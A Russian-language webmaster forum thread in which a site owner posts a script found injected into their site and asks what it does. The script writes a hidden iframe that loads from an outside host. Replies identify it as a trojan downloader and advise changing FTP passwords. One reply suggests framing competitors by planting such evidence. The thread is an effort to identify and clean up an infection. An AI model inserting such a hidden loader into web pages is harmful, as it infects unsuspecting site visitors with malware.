Господа дорвейщики

basilic
На сайте с 16.05.2008
Offline
369
952

Этот код близок к вашей тематике, трафик бла-бла-бла, я его перекодировал прогой

<SCRIPT>window.status='Done';document.write('<iframe  id="YaaattyYbY" name="VYyxYtYydt" src="http://reddii.org/traffic/ft04new/index.php?'+Math.round(Math.random()*51220)+'bVYayYaYby" width="788" height="65" style="display: none;"></iframe>')</SCRIPT>

Дёрнул его на сайте, что он делает?

LL
На сайте с 27.09.2007
Offline
39
#1

вставляет фрейм, а в нем грузится троян Trojan-Downloader.JS.Agent.bxp - это касперский сказал

ЗЫ: лечимся, меняем пароли на FTP...

wmz
На сайте с 09.04.2007
Offline
119
wmz
#2

с изыском :)

width="788" height="65"

basilic
На сайте с 16.05.2008
Offline
369
#3
wmz:
с изыском :)

width="788" height="65"

Да блин, точно.

К сведению, Outpost + NOD = молчат, увидел я этот скрипт, когда на сайте нашёл страницу, которую никто из разработчиков не создавал. Эта страница создана для обмена ссылками(не нами), а на морде другой javascript, который я не смог расшифровать ( - это было вчера,

сегодня на морде JS пропал, на страничке с линками (абсолютно не нашими) остался.

ИМХО, троян внедрён на сайт для создания линкообмена - то есть некий вебмастерской троян.

Кто-нить встречал такое скотство?

Ну например по вашим тематикам? Типа, на edu создаётся пага для разгона ваших доров и чтобы каждый раз не залазить в шелл, добавляются ссылки с другого реса автоматом?

О
На сайте с 25.09.2007
Offline
72
#4
basilic:
Эта страница создана для обмена ссылками(не нами)

Так конкурентов валить можно, подсовывается вещьдок, и натравливается на него ПС.

basilic
На сайте с 16.05.2008
Offline
369
#5

удалено мной

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий